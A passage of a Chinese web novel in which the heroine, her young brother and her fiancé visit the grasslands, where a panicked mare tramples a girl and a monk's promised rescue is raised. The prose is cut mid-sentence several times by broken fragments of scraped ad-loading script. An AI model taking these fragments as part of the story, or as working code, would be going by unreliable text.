他们都是女儿难以解开的心结,在她经受这等劫难以后,再因往事而郁结难舒,只会影响寿数。 思来想去,纪月隐和崔其沂只好强忍着,不去打扰。 但昨日,丰年回来说的话,又让他们生出了几分希望。 软软挂念兄长,也知照顾幼弟,她心中还是有家人的,只是在生气,生十一年前的气。 也许,只要把心中的怨恨发泄出来,女儿还是会回到他们身边的。 纪月隐沉了沉心,牵着丰年走到崔时清的马车下,仰头看着她,欲言又止。 “阿姐,我想与你同乘。”崔丰年眨巴着圆鼓鼓的眼睛,嗓音脆生生地说。 “不行。”崔时清没有表情地看着小矮个。 “阿姐,阿姐……” 经过昨日的相处,面对这张没有表情的脸,崔丰年已然没有了惧意,被拒绝以后,当即扭动着身子伸出双手,想要崔时清来抱。 “不许吵,走开。” 崔时清可不想惯着他,再次无情拒绝,连眼神都没有给纪月隐一个,就在玄鱼的搀扶下,进入马车。 留下两眼包着泪,可怜兮兮扑在马凳上的小儿郎,嘴里还在喊着人。 一入车内,崔时清看到了端坐着等她的纪危舟,轻哂了一声。 心中的憋闷却在一个含笑的眼神中,微妙的心境下,没了踪影。 就想这厮跑哪儿去了,原来比她还积极! “丰年哭得真惨。”纪危舟扶着她坐下,语气淡淡地说。 崔时清听着穿透车厢的哭声,再看着神情惬意、没有丝毫怜悯之心的人,又感到一阵烦心,敲了敲厢门。 “没人管了吗?” 玄鱼怯生生地回:“确实没人管了。” “她人呢?!”崔时清的声音里已有怒意。 向来不机灵的玄鱼,难得聪慧了一回,她紧张地看了一眼马夫,见他目不斜移地盯着马屁股,又看了一眼横躺在马凳上、哭得很有章法的小公子,掰着手指小声开口。 “夫人劝了几句,就回去了。” 崔时清揉了揉心口,气得心肝直疼,看着正欲上前扶她顺气的纪危舟,没好气地踹了他一脚,迁怒道。 “能不能长点心?!” “我来处理。”纪危舟见她气得不轻,也不敢再置身事外,忙不迭保证了一声。 崔时清绷着脸,见纪危舟走了出去,伸直了耳朵,贴在厢壁上听着外面的动静。 哭声停了下来,但不知怎么的,她听了好一会儿,也没听到说话的声音。 难不成是抱走了? 崔时清认可地点了点头,自言自语道:“还算有一个可靠的……” 狗东西! 眼睁睁看着纪危舟抱着人,走了进来,崔时清眼皮连跳了几下,动作粗暴地端起茶盏,往肚子里灌了一杯凉水,这才冷静了下来。 “你就是这么处理的?”崔时清挤出一个阴冷的笑。 看着没有温度的眼睛,纪危舟面露苦涩。 他是要处理的。 气势汹汹下车,听到带着哭嗝的‘姐夫’。 他就忍不住地想,车厢如此宽敞,多一个小儿郎,也不在话下。毕竟,这可是他在崔家唯一得到的温暖了!不能失去吧? 鬼迷心窍地把人带来,在崔时清冰凉凉的目光下,他才彻底清醒。但为时已晚,只得揣好秋日的热包子,为自己暖暖心窝,于心不忍地开口道。 “小丰年哭得嗓子都哑了……” “阿姐!” 洪亮的童声震响四方,纪危舟垮了脸,连假笑都维持不住。 崔时清看着纪危舟恍惚的神情,沉默了一瞬,忍不住‘噗嗤’一声,笑了出来,还不忘嘲讽一句。 “傻瓜。” 纪危舟还不死心,端起崔丰年的小脸蛋,挣扎道:“哭得如此可怜,谁见了都……” 崔丰年扭头躲开,踢踏着双脚,高高举起双手,可怜兮兮地哭诉道:“我不要三表兄,我要阿姐,阿姐!” 三、表、兄? 纪危舟的心窝是彻底凉透了。 没了热心肠的他,冷酷无情地‘处理’起不听话的小儿郎。收紧了手臂,把不安分的崔丰年牢牢禁锢在怀里,一字一顿道。 “丰年,要听话,知道吗?” “不听你的,你要是敢欺负我,就不把阿姐嫁给你了!”崔丰年昂首挺胸,把从崔其沂身上学来的老丈人架势都摆了出来。 纪危舟揣着烫手山芋,留也不是、弃也不能,只好找人评理。 “软软你说,这小子是不是太顽劣了?” 崔时清斜倚在凭几上,看着好戏,正色地问:“这不是你疼惜入骨的小丰年吗?顽劣与否,我怎知晓?” 求告无门的纪危舟,生生吃下这哑巴亏,心中发苦,也不准备让他的小对头过得甜美,笑着开口道。 “小儿年幼,自是不通事理,多请几位名师来府中调教一段时日,小丰年必然会脱胎换骨的。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 崔时清诧异地瞅着被这个提议吓白的小脸蛋,再面对着纯纯殷切、一心为人的纪危舟,没忍住嘀咕了一声。 “无毒不丈夫!” 不过,被教训的又不是自己,崔时清可不放在心上。 用小刀慢悠悠剥开一个橘子,尝了一口,随手把剩下的果肉递给纪危舟。 纪危舟笑着收下,又笑着掰下两瓣,塞进了崔丰年的口中。 突然被投喂的崔丰年还没来得及感谢,小脸蛋瞬间就皱起了无数条褶子,强烈的刺激之下,连鼻头都红透了。 “……呜、酸!呜!” 崔时清和纪危舟相视一眼,各自忍着笑。 “你作何戏弄他?”崔时清无辜地质问。 “我这是疼惜丰年,想把好吃的都给他。”纪危舟也无辜地回答。 崔时清又笑了一阵,看着还没缓过劲、眼里包着泪的小孩,总算有了几分同情,往他嘴里喂了粒柳叶糖。 “怕酸就吐了,小儿郎一个,强撑什么?” 崔丰年含着甜丝丝的糖块,又高兴了起来,扬声道:“阿姐给的,可不能浪费了呀!” 崔时清扬了扬眉、笑而不语。 纪危舟没吃酸橘子,却还是泛了酸,捏了一把小孩的脸蛋,心里不是滋味地说:“这小东西惯会哄人的。” 崔时清不知道纪危舟刚被这张会哄人的小嘴伤害过,看着他酸溜溜的模样,比小儿郎还要别扭,不由给了一个白眼。也往他嘴里塞了个糖,威胁道。 “你带来的人,自己看好了。再给我闹腾,就下车走过去。” “走路过去!”崔丰年使劲点了点头,圆溜溜的眼睛很高兴。 “……”纪危舟悔不当初。 崔时清看着幼弟,恶劣地笑了一下,冷冷说道:“你们两个一起走。” 崔丰年双手捂唇,摇了摇头。 纪危舟掐了掐崔丰年的脸蛋,很得意。 唯恐真的被赶下车,俩人也都安分了不少。马车安静地行驶,摇摇晃晃间,不多时,小儿郎便歪在纪危舟的身上睡了过去。 鼻鼾声响起,崔时清托着腮看着睡得无知无觉,不时挥动手脚、翻身撅屁股的小儿郎,感到好笑。 而抱着好动的顽猴,操碎心的纪危舟可实在笑不出来。沉眉盯着滑不溜丢的小儿郎,还要惦记着替他调整一个顺眼的睡姿,这让从昨夜起就期待的出行,唯剩下失望二字。 偏偏,这‘失望’还是他自己抱进来的! 纪危舟幽怨地望着崔时清。 “有趣吧?”崔时清揶揄道。 “……很有趣。”纪危舟按下快要踢在他脸上的小短腿,笑呵呵地嘴硬道。 “难得你如此欢喜,以后带着一老一少,这打拳品茶的好日子,一定会过得很好呀。”崔时清弯起唇角。 纪危舟望着一脸坏笑的女娘子,抿着唇,笑不出来。 “软软,你忍心吗?” “我……” 纪危舟正是脆弱的时候,再听不得扎心之言,握住了崔丰年的小拳头,自我感动道。 “我都知道,你不忍心!” 40. 折腰 秋风拂面,青绿的草场披上了一层金灿的轻纱,小溪宛如飘然西去的披帛、莹莹流动,牛马羊群悠然踱步。 蓝天白云、野花簇拥争奇,遍眼的斑斓彩色,引人心醉往之。 生在西北荒野之地,看得都是扬尘黄沙的崔丰年哪里见过这样水草丰美的景色,伏趴在纪危舟的肩头,兴奋地乱叫着。 “阿姐,那是什么?” “羊群。” “哇!可以骑吗?” “不能。” “丰年好喜欢它们,真的不能骑吗?” “喜欢可以多吃点。” “昂?” “烤羊肉,昨日午食吃的就是它们的朋友。” “啊!” 崔丰年搂着纪危舟的脖子,哭了出声。 崔时清用鞭子抽开挡在面前的长草,听着时起时落的哭调,有些欣慰。 比起连番发问,自己哭、自己擦泪的小儿郎可太顺眼了。 被眼泪鼻涕糊了一身的纪危舟,却是面色青白,亲厚温和是装不了一丝半点了,单手抱着他,又丢了三张帕子。 “不许哭了。” 好不容易把人惹哭的崔时清立刻看了过去。 纪危舟形容枯槁、有气无力道:“软软,你就饶了我吧……” 崔时清乐不可支,戏笑了一句,“你挺会照顾小儿的啊。” 纪危舟苦笑地接过小儿手中的脏帕子,给他拍了拍背,顺了口气,才道:“这不是在软软身边待久了吗?” “……”她才不是小儿! 崔时清耳根发烫,嗔怪地瞪了他一眼。 哭劲过了,崔丰年也忘了吃羊的内疚,指了指不远处的人群,又问:“阿姐,他们在做什么?” 崔时清眯着眼睛,看了会,说:“割草。” “他们割草做什么呀?” 崔时清哪里知道要做什么,便给了纪危舟一个眼刀,怪他把人哄好、又来烦自己。 纪危舟讪讪然笑了下,替她回答:“收割草料,是为入冬储粮。” “我知道了,这样冬天就不会饿肚子啦!”崔丰年认真地点了点小脑袋,随即眼巴巴地瞅着阿姐,“丰年长大了,也可以给它们存粮吗?” 纪危舟眼睛一亮,正要应下,麻溜把人送走,崔时清却不依。 “长草割手,不许胡闹。” 崔丰年和纪危舟面露落寞之色,却不敢反抗,只得安安分分地跟在她身边。 “你家阿姐很讨厌吧?不如跟着我,表兄带你去捉野兔。”纪舒明从后面走了上来,一把握住崔丰年的小手,诱惑道。 “哼!表兄才讨厌!我家阿姐最好啦!”崔丰年举起小拳头,直冲着纪舒明的掌心,用力捶了一拳。 “你这小儿不识好歹!难不成也被迷了心窍?”纪舒明瞅着纪危舟和崔丰年,纳闷地挠了挠后脑勺,又收来一大一小的怒瞪。 “好狗不挡道。”崔时清没有留情地朝他脚边挥鞭。 堪堪惊险躲过,纪舒明又惊又怒,反身抓住鞭子,气恼道:“你这毒妇,还想害我?” 崔时清抽不回鞭子,也不与他争气力,桃花眼落在纪舒明的手上,停了片刻,才笑道:“你怎么知道有毒?” 纪舒明顺着她的视线,看向自己拽着鞭子的手,眼珠子颤了一颤。 “……你,你!” 丢了鞭子,他握着腕子,害怕地盯着自己的手掌心。 被崔时清下过泻药、痒痒粉,还有一种让他浑身散发恶臭的药丸,这些经历都足以证明此人的心狠手辣,让纪舒明不敢心存侥幸。 取来随从的水袋,正要灌水净手。 崔时清又阴恻恻地说道:“不能洗手。三日之内,一旦沾了水,就会浑身溃烂,生出脓包。” 众人闻言,都不由后退两步。 纪危舟看着崔时清得意洋洋的小表情,暗笑着摇了摇头,没有说话。 自从许姨娘入了小佛堂,纪澄雨再不敢心存试探之心,闷不吭声地站在纪危舟的身边,唯恐误碰了中了毒的兄长,也跟着遭殃。 纪深云见纪舒明实在可怜,拿着扇子掩住口鼻,温声开口:“表妹,出来玩怎么还带了药?这玩意听着,也太危险了,不知有没有解药?” 崔时清似是在思考这个问题,举起鞭子,纪深云连忙闪躲,见她没有其他动作,这才安心。 “表妹?”纪深云语气弱弱地唤了一声,有些后悔招惹这个煞神。 崔时清扬眉不语,指腹抚过鞭身,慢条斯理地卷在手中,正要说话,崔丰年突然撑起身子,抱住了长鞭。 “阿姐,我也想要。”崔丰年的眼睛亮亮的。 想要什么?! 纪舒明惊恐地看着他,“丰年?!这,有、毒、啊……” 这里也危险!纪澄雨连忙提起裙摆,慌里慌张躲在纪深云身后。 崔时清见小儿郎喜欢,就把鞭子给了他,任由他抱着玩。昂着下巴,看了一眼神色从容、没有被她唬到的纪危舟,暗骂了一声‘狐狸精’。 “此处有什么可玩的,怎么都杵在这儿?” 纪秦婉在帐子等了半天,也不见他们过来,只得和张毅一起来迎。 看着径直朝自己跑来的张知茵,崔时清牵着她的手,弯唇笑道:“挺好玩的。” 纪秦婉没搭理自己的嫡亲弟弟,反而稀罕起别人的幼弟,笑盈盈问道。 “小丰年,你抱着是什么呀?” 崔丰年正要热情地与其分享,纪舒明连忙厉声喝止,“阿姐,有毒!” 纪秦婉错愕地看了一眼,奇奇怪怪捧着手、看起来不太聪明的弟弟,失笑地瞅向崔时清。 “他又惹你了?” 崔时清皱了皱鼻子,嫌弃道:“还不是吗?实在惹人厌。” 在纪秦婉有些苦恼的神色下,张毅郎朗而笑,声量洪亮有力,“不碍事,我陪着内弟跑几圈,累了就安分了。” 纪舒明委屈地抬起手,控诉道:“姐夫,我中毒了!是崔时清下的!她又把毒药涂在鞭子上了!” 纪秦婉无奈地叹了口气。 不说纪舒明的手还好端端的,就说这鞭子真要有毒,崔时清也不会拿给自己的幼弟把玩。 小女娘气性大,狠得下心,但是骨子里却是个重情的。 也正是因为太看重感情,眼里容不得沙,在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这不能万事周全的世间,只得被迫活得这般的刚烈。 崔时清双手抱臂,冷眼瞅着,却也不辩解。 纪危舟把鞭子收起,放下崔丰年后,眉眼温和地淡笑道:“兄长不必担心,胆大治脓包,你再努力一番,此毒便会好的。” “……”纪舒明瞪着眼,怀疑自己被骂得很过分。 崔时清给了纪危舟一个赞许的眼神,心道,毒夫配毒妇,他今日之表现尚可入眼。 纪危舟得到鼓励,浑身都是劲,便想一鼓作气,争取令崔时清为他折腰倾倒。抚着掌中长鞭,笑问其他人。 “可有要吃荷叶鸡的?” 崔时清冷淡地瞄了一眼挺拔清隽的身姿,收回眼神目视前方,弯了弯唇角。 “要,丰年要。”崔丰年眼巴巴地瞅着他,直咽口水。 纪舒明犹豫了一下,与张毅商议:“跑马也无趣,不如同去抓野味?” 张毅没有意见,又看了眼‘纨绔子弟’,眼角抽了几下,也不知该不该邀请纪深云。 纪深云只想吃喝享乐,可没兴致骑马乱跑、弄得浑身臭汗,连忙摆了摆手,指着身后的随从。 “我带了不少吃喝之物,还有冰过的瓜果,你们且快去快回,不要误了开酒的时辰。” 没有人有意见,三人招呼着就要去挑马。 “时娘,鞭子借我?”纪危舟挡住了崔时清的视野,低头看她。 “都在你手中了,还来问我?”察觉到四周的目光,不知怎么的,崔时清有些羞赧,便绷着小脸,面无表情地反问一声。 纪危舟淡笑着,望着冷傲的桃花眼故作镇定地看着他,不自在地微抿起唇瓣,勾起那对被他吻过无数次的梨涡。 在秋日缤纷的天地间,只眼前这一抹红,最是触动他的心。 徒然间,他又不愿走了,但却还想和她再说些什么,便顺着崔时清的话,答道:“自是要你点头的。” 崔时清微扬眉眼,狐疑地觑着他。 这厮怎么黏黏糊糊的,是又犯了疯病?还是故意惹我来了? “三郎,走吧!男子汉大丈夫,何必为了根鞭子求人?!”纪舒明忍不了,一把拽住纪危舟的手臂,恨不得把人扛走了事。 张毅摇了摇头,心说,看来岳母还得为内弟的亲事,多费些心力。 崔时清也嫌纪危舟丢人,摆了摆手,敷衍道:“给你给你,赶紧走。” “时娘等我……” 纪危舟还没说完,崔时清牵着张知茵转身就走,留与他一个决绝的背影。看着被他的小女娘牵着的手,吃了酸橘子的感觉,又乍然涌上他的心头。 纪秦婉与张毅眼神示意了一下,带着其他人跟上。 “这下好了,没了碍手碍脚的,我们可以好好玩一顿!”不用受毒药之苦,还能打猎骑马,纪舒明很高兴。 纪危舟的心情就差了点。 这一路上跟着个小没良心的,来了草场还多了没眼力见的,与其如此,他还不如想想法子,怎么绕过未来老丈人的盯梢! 纪危舟失落地抱着鞭子,攒眉沉思,在心中过了一遍今年的吉日。 这日子过不了了,得尽快成婚! 41. 答案 纪危舟的苦恼,崔时清并不知道。 她正高高兴兴坐在主帐外的空地中,在玄鱼的伺候下,喝着香饮子、闲话笑谈着。 提起春日宴,纪秦婉免不得要惋惜。 “可惜你有伤在身,否则这样的好天,再办一场蹴鞠,可是美得很。” “冬日也有冬日的乐子。” 崔时清边说,边吃了块香桃,觉得可口,让玄鱼把桃子分与张知茵和崔丰年,拿着帕子擦着手指。 显然他们对于乐子更感兴趣,咀嚼着桃肉,眼睛还一错不错地望着她,耳朵竖得直直的。 而提起乐子,自诩玩遍京都城的纪深云最为钦佩的就是眼前这位表妹。 天下只有她不想玩的,没有她不敢碰的。兴致好的时候,跟在身边的恶霸纨绔都能被各种花样百出的游戏迷花了眼,心甘情愿奉她一声‘姑奶奶’,比敬重家中长辈还要孝敬。 就御史大夫家的小儿李昶,成天追在他家表妹身后,姑奶奶前、姑奶奶后,鄙夷的人是真鄙夷,但却不缺羡慕的人呀! 毕竟,能得他家表妹认可的‘乖孙’,也就只有这么一位,好物乐事都有他的份儿。 “什么乐子?” 纪秦婉怕冷,下了雪更不愿来草场吹风挨冻。以往入冬,都是安排了管事照料,随着姊妹们自个闹腾。 说来,也有些好奇,冬日光秃秃的草场有什么好的,能让他们乐不思蜀。 是要人命的乐子! 跟着玩过一次的纪澄雨还心有余悸,腹诽了一声。 崔时清心情不错,也乐于分享,便掰着手指头,细数着。 “冬日小溪冻硬了,可以在上面冰嬉飞舞、自在快活得很;累了便坐在冰床上,让人拖着走、‘行舟’赏景,再于溪中凿一个小洞,垂钓冬鱼;想要活动起来,可以跑马打猎,在飘雪中追逐猎物甚为有趣;实在厌了,还可坐在小车里,从高坡而下,滑行疾驰,也尚可玩闹一时,还有……” “好好,好!寒瓜可口,你多吃点!”纪秦婉生硬地打断了崔时清,看着眼睛亮晶晶的小姑和小表弟,有些后悔没有堵上他们的耳朵。 这些可不是小儿能听的!把他们的玩心勾起,指不定要闹疯了。 崔时清举目望向远处悠闲吃草的马儿,有些意兴阑珊,叹了口气,没滋没味地吃了口寒瓜。 “好慢。”她忍不住嘟囔了一声。 纪深云歪头看她,“表妹说什么?” 崔时清可不想说自己想吃荷叶鸡了,便道:“我后悔把鞭子借人了,否则现下,我们还可以抽陀螺解解闷。” 纪深云挑了下眉毛,意味深长道:“哦,原来表妹是想自家的鞭子了。” 崔时清抿了抿唇,觉得他有些不怀好意,看着碍眼得很,把矮几上的匕首扔进他的怀中,指使道:“羊肉可以吃了。” 纪深云乐于做这些,笑嘻嘻地欣赏了一眼匕首上的宝石,看着实在喜欢,反手挂在腰间,起身散漫地踱步到烤羊的篝火边。 “这也太惯着他了。”纪秦婉摇了摇头,不太赞同道。 崔时清浑不在意地托着腮,眼睛微转着,笑看身边的小女娘,“让他忙活一会儿,等我们吃饱喝足,便把他新得的珠串赢来,赠予知知。” 张知茵被点了名,忙不迭端着一碟子剥开、尝过酸甜、再精心挑选出来的甜橘子,神情紧张地递给了她。 “……最好吃的。” “阿姐,我和知知姐姐都试过啦,就这些最甜了!”崔丰年也探着小脑袋,期待地看着她。 崔时清愣了一下,看着矮几上成堆的橘皮,又看着被酸出眼泪的两小只。沉默了一瞬,从碟子中捻起一片橘子,放进口中。 “阿姐,甜吗?” 崔时清注视着面前的两双眼睛,清澈如水洗,纯真又简单,充满着对世间的善意和好奇。 她点了点头,也往他们嘴里喂了一口,见他们下意识发酸的表情在果肉蔓延口齿间后,又舒展而开,便忍不住跟着他们笑了起来。 三人相视一眼,异口同声道:“甜的。” “有这么甜吗?”纪秦婉看着他们纯粹又满足的表情,不由发笑。 张知茵和崔丰年重重地点了点头,随后仰头看向崔时清。 “嗯。”崔时清了然,轻声应了一下。 张知茵连忙高兴地把碟子举到纪秦婉和纪澄雨的面前,“嫂嫂、澄姐姐。” 纪秦婉欢喜地拿了一片,比起她,纪澄雨有些嫌弃被人尝过的橘子,但嫡姐都吃了,她也不好特立独行,便得体地笑了笑,矜持地挑了一个小的。 “哇,小马驹!”崔丰年激动地指着远处。 母马正领着两头马驹散步吃草,马驹调皮,不时伏趴在对方身上,咧嘴嬉闹着。 张知茵扭头看向纪秦婉,小声问道:“可以、喂马驹?” “好,可以喂。” 面对愿意说话玩闹、越来越活泼的小姑,纪秦婉自然不会拒绝。唤来管事准备喂马的瓜果,又找来养马熟手跟着,嘱咐了一声。 “小马驹胆小,动作要轻,不可惊了马儿。” 张知茵不是第一次喂马,但她还是乖巧地点点头。 “丰年也要喂马!”崔丰年也拉着崔时清的手。 崔时清有些疲乏,不是很想动弹,正迟疑着,纪秦婉便开了口。 “有管事和马倌跟着,不必担心。” 在崔丰年热切的目光下,崔时清也没有再反对,指尖点了点小儿郎的额头,正色道:“跟在马倌身边,不许乱跑,知道吗?” “丰年都记住啦!”小儿郎点头如捣蒜。 “阿姐,我也想去。” 草场里没有什么是纪澄雨爱玩的,但她跟在纪秦婉身边,又闷得很,正想四处走走,散散心。 纪秦婉笑道:“好,你们这些顽猴,都去吧!喂了马,记着时辰回来吃烤肉。” “是,我会看好弟弟妹妹的。” 纪澄雨牵起崔丰年和张知茵,还没扮好稳重的阿姐,便被左右的俩人拉扯着,跑了起来。 “……欸、等等、太快了!” “嘻嘻,表姐好慢呀!” “……不怕、我慢。” 一左一右、一快一慢,纪澄雨身形不稳,好几次都被自己绊得踉跄。制服不住疯跑的俩人,她只好努力跟上,迈开了步子撒欢跑起。 一时间,直冲远方的三道身影,惊起了一波金黄色的草浪。 “真闹腾。”崔时清看着他们,无语 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了好一阵。 纪秦婉吃着橘子,笑问:“你是眼馋吧?” 拦住了一再伸向甜橘子的手,崔时清歪着身子抵挡觊觎的目光,皮笑肉不笑道:“眼馋没什么,我更怕嘴馋的。” 纪秦婉看了好久,也没找到她的破绽,只得悻悻然地拿起矮几上的橘子,自己剥皮自己吃! “你是什么时候染上这护食的坏毛病?” 崔时清边吃边道:“现在此刻。” 纪秦婉吃了满口酸,禁不住气闷道:“你以前可不这样的,何人教坏了你?” 崔时清认真地思考了一下,正要开口报上纪危舟,名字刚到嘴边,又有些不自在,便讪讪然闭上了嘴。 纪秦婉看着她欲言又止、还颇有些羞恼,转念一想,顿时明了,戏弄道:“难不成是我家三郎?” 崔时清听着这话有些不顺耳,在心中默默补充了一声。 ——我家的。 纪秦婉瞅着装聋作哑的女娘子,暗笑着,又免不得感慨。 “我记得小时候,你们最不对付了,不似二郎、还能与你吵上几句,你们俩人一见面就绷着脸,什么话都不说,眼神却凶得很,活像是见了仇人。却没想到,最后会走到一起,还处得极好。” 可不是见了仇人吗?崔时清轻哂着。 至于纪秦婉所感慨的,她并没有放在心上。 处得好,也不过是一时。 他们怎么也不该,一直这样好下去的。 一旦事毕、万事终了,就会结束。 但是,崔时清又忘了,她从没有想过、没有界定过,什么时候才是万事终了。 直到她忆起往事、想起这个极其重要的问题,已过了许久、走了很远。 面对一直默不作声的崔时清,纪秦婉抛去玩笑之心,莫名有些不安,握住了她的手,温声问道。 “时娘,你们真的想好了吗?” 崔时清的视线在紧紧握着她的手上,停了须臾,缓缓抬眸,看向了满是关切的眸子。 不是第一次有人问她这个问题。 就连她自己也在心中,提过无数次。 想好了吗? 这样做,真的对吗? 没有答案,她至今也没有答案。 唯一可以确信的是,她走上了这条路,便不想回头。 对错与否,就像经过的、失败的八次人生,只有在她生命的最后一刻,才会有答案。 这样是对、还是错的答案。 但是,这个答案也没有了意义,一切都不可挽回。 崔时清直视纪秦婉,眼中带着决绝与悲壮。这不是一个待嫁女娘的眼睛,她回答的也不是一场婚姻的是与否,她想说的,是关于她这一世,她想告诉眼前的人,告诉自己。 “我……” “不要!” 一声凄厉的叫喊响彻草场。 又一次,崔时清感受到自无垠碧空投下的、充斥着恶意的注视,轻蔑与嘲讽的冷笑。 彻骨的冷寒从心底而生,蔓延至四肢百骸,她推开同样浑身发冷的纪秦婉,推开面前的所有人,艰难地站了起来,颤抖着身体,看向了远处。 金黄的长草、遍眼都是的温暖,夹杂着一抹突兀的血色。 42. 生机 他们赶到现场时,失控的母马已被射杀,两头马驹被管事们牢牢抱着,不断发出惊恐的叫声。 “阿弟、知知?” 崔时清望着躺在地上、浑身是血的小女娘,趴在身边痛哭流涕的幼弟。 似是被困于漫天浓雾的旷野中,她一时有些迷茫,不知应该走向何处,也忘了可以做些什么。 直到身体一震,低下头,她看到了抱着自己的崔丰年,心口骤然抽搐着,牵起了阵阵闷痛。 在低呼啜泣声中,崔时清弯下腰,跪坐在小儿郎的面前,眼睛和双手一点点检查着他的伤处。 手肘膝盖有些磨损,青紫的皮肤看着吓人,但并没有伤及筋骨。 “发生何事了?”崔时清用指腹擦拭着丰年面上的泪痕,语气平静地问道。 “马儿、马儿冲过来,知知姐姐护着我们,被马踩到了……”崔丰年害怕地攥着阿姐的衣袂,哭得声泪俱下。 “好,不怕,不会有事的。” 崔时清没有再问,拒绝了其他人的帮助,趔趄地抱着半高的小儿,吃力地站了起来。 草场的老医士匆忙赶来,看了一眼张知茵的情况,却不敢医治,“主子还是尽快入城找个医馆、不可在此耽搁。” 纪秦婉试图抱着张知茵,染得双手都是血,却怎么也抱不起来。 “婉娘!这是怎么了!” 收到消息的张毅扔下马鞭,看到昏迷不醒的小妹,顿时目眦欲裂。 看到夫君回来,纪秦婉立刻有了支撑,拉着张毅急声道:“小姑被马蹄踩踏,须得入城寻医!夫君,我们回城!现下就回城寻医!” 张毅一把抱起张知茵,阔步朝着马车而去。纪秦婉也没了往日贵女的矜重,提起衣裙急奔追着。 一双大掌刚要触碰怀中的幼弟,崔时清遽然警觉、以身闪躲,黑漆漆的眼睛里,全是戒备与凶残。 在充斥着怨毒、冷冽与敌意的视线中,纪危舟忽而有一种失去所有的恐慌。好像他们彼此相依的痕迹,都被寒刀剐平,再次站在了敌对的两方,注定一生一死,永无休止。 纪危舟面色凝重地望着她,望着本能抗拒着自己的女娘,强势地按住了她的双肩。 掌下激烈的颤动,让他的心更沉了几分,但却依旧不容拒绝地禁锢着,把没有任何闪躲的黑眸望进了她的眼底。 “软软。” 纪危舟的声音向来清缓而悦耳,在耳鬓厮磨间,最爱把她的小名含在唇舌间,既轻又慢地、一遍又一遍地唤着,把人的魂儿都勾得软成了一滩。 然而,让人无数次缴械投降的声音,在此刻却失去了他的妖力。 崔时清满心猜疑,甚至为此风声鹤唳,浑身上下皆焦躁难平,恨不得亮出獠牙,撕裂弥漫着危险气息的这个人。 他们浑身紧绷地注视着彼此,对峙着。 直到一个瞬间,心弦突兀地震颤了一声,随着呼吸变得急促,被无形之力攫起的情绪,也由紧转松,崔时清缓缓耸下了肩。 “软软,不要害怕我。” 纪危舟弯腰低头,埋首于崔时清的颈窝间,嗅着如雪杉清冷的味道,嗓音闷闷的,带着恳求。 兴许是突然间的一个眼神,又或是她已心力交瘁、无力支撑自己和幼弟的负重,崔时清把自己、连着怀里的幼弟,一同投入了那个熟悉而又宽广的胸怀中。 她没有气力回应,就这样安静地靠在他的身上,静心蛰伏。 纪舒明扶起了吓得直哆嗦的庶妹,锁眉扫视着还跪在原地,不知所措的马倌。 “究竟是怎么回事?” 纪澄雨倏然打了一个寒颤,在极度惊恐之下,连婢子的搀扶,也无法让她站直身子。 崔时清也抬起了头,神色木然地看着他们。 在马倌的禀告下,众人才知道原来是喂马时,小马驹调皮、张嘴啃咬纪澄雨,虽然马驹还没长牙,但纪澄雨在慌乱下却以为它要咬人,便挥舞手中木勺抵挡,却误击了马驹的眼睛。 小马驹惊跑起来,导致母马发狂,胡乱冲撞。 在混乱中,张知茵为保护崔丰年和纪澄雨,被卷入马蹄之下,遭到踩踏。 这是一个意外。 只要后续排查过马倌等人的身份、再确认马匹食料没有疑点,这就是最终结论。 一个意外而已,张知茵勇敢、但不走运。 看着还陷在恐慌中的纪澄雨,地上刺目的血迹,崔时清感到很迷茫。 “软软,把丰年给我吧?” 纪危舟的询问让她迟疑了一瞬,却还是摇头拒绝,语气平静地开口道:“去医馆。” “好。” 纪危舟温声应下,转而揽上她的腰背,掌心托举丰年,为其轻省些气力。 留下身边的亲信处理草场之事,纪舒明和纪深云也扶起神志恍惚的小妹,跟在他们身后,坐车入城。 * 在靠近西城门的医馆中,他们找到了依旧昏迷不醒的张知茵,和形容憔悴的张毅夫妇。 由于内伤过重,医士不敢再下猛药,只得在此等着下人去请太医前来。 纪舒明正要安慰他们,太医医术高明、必可医治张知茵,重伤的小女娘便大口吐血,本就没有血色的小脸,更是透出了颓败的青灰。 老医士重重摇了摇头,束手无策地退出了偏堂。 纪秦婉哭得几欲昏厥,连在军中一路摸爬滚打过来的张毅,也都红了眼眶,低声哽咽着。 “阿姐、他们为何在哭?知知姐姐她……” 崔丰年说话间,肿得核桃一样的眼睛里,又滚下了泪珠。 崔时清的眼睛很缓慢地眨了几下。 突然之间,她想起小儿郎身上的伤、记起纪澄雨受了惊吓,当即步履匆匆地把人抱往外堂,让医士为他们诊脉上药。 站在他们身边,看了片刻。 崔时清又想起纪秦婉,如此大的变故,向来羸弱的身子骨也不知能不能吃得消,请来医士备下安神汤,再让玄鱼跟着熬煮伺候。 “……还有,秋夜寒凉,你们把。” “够了、够了。” 纪危舟看着冷静地安排一切的崔时清,看着她空洞的眸子、木然到好似一具伪装成人的白瓷,会说会动,空荡荡又轻飘飘的空壳。 强烈的不安席卷着他,令他心生凉意。 他强行打断崔时清的忙碌,交代了江南一句,便抱起她,进入马车中。 “你在做什么?”崔时清不敢置信地看着他。 “软软,你要休息。”纪危舟把人放在腿上,双手捧着她的面颊,凝视着她。 “知道现在是什么时候吗?你在闹什么?放开我!” 崔时清告诉过自己,要冷静,着急解决不了问题,还会让他们更加狼狈。但被纪危舟锁在这方寸之地,听 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着他言之凿凿的关切,从心底而起的怒意冲垮了这道防线。 甚至,一想到崔丰年看不到至亲、哭闹害怕的模样,多想一遍,心中的愤怒便要深一分。 纪危舟没有任何退让地困着她,沉声道:“我有办法。” 崔时清蓦然一顿,一眼不眨地盯着纪危舟,声音平静、没有一丝起伏。 “什么办法?” 拇指摩挲着她的面颊,纪危舟也专注地看着她,开口:“空晖禅师到京都了,他应过我,此生可予我一线生机。” 第九世重生,在日夜难安中,他找到了空晖。 这一线生机,便是他求来的。 崔时清微微张了张嘴,轻喘了几下,声音飘忽地问:“你是说,禅师能救知知?” 纪危舟点了点头,笃定道:“他能。” “你与我说这些做什么?”崔时清抿唇咽了咽口水,视线胡乱飘移了须臾,气息十分凌乱。 纪危舟深深地望着她,“这一线生机,是为你而求的。” 崔时清心底咯噔一声,猜疑地盯着他。 